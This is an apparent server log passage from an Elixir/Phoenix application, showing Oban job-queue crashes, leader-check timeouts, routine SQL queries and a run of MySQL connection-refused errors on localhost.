dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:42:42.457000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 239ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-03 05:42:31.240763Z], limit: 20, uuid: "207c1857-d5fa-4b45-9345-ec25728066cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-03 05:42:31.240768Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1092616194.202054>, refresh_timer: #Reference<0.2525715032.1092616194.202046>, dispatch_cooldown: 5, running: %{}}
[Thu Sep  3 05:46:17.920000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:46:19.934000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:46:22.921000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms idle=1546.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 05:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1413.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 06:00:00.363000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=3.7ms idle=932.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 06:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 06:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1252.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 06:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1134.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 06:26:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1013.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 06:30:00.475000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.2ms idle=785.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 06:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 06:30:00.582000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.6ms idle=891.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 06:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 06:36:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.3ms idle=1948.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 06:36:33.967000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.79.5.11:39818] GET /
[Thu Sep  3 06:36:33.969000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.79.5.11:39818] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 06:36:33.970000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.79.5.11:39818] Sent 200 in 2ms
[Thu Sep  3 06:37:33.251000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:33.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:33.784000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:33.785000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:34.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:34.854000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:34.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:34.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:35.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.778000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:35.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.301000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.303000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 06:37:36.775000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:36.777000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:37.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:37.285000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:37.844000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:37.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.030000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.174000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.181000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.440000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.442000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.733000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.758000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:38.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.101000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.165000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.235000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.668000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:39.868000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:41.165000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:41.618000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:41.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.598.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:42.416000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:42.565000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:42.876000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:42.995000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:43.018000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:43.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.599.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:43.116000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:43.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:43.450000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:44.158000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:44.359000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:44.585000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:45.930000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.605.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:46.048000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:37:46.102000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.606.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 06:40:10.882000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:40:15.883000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:40:20.857000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 06:40:55.903000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 06:41:00.791000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
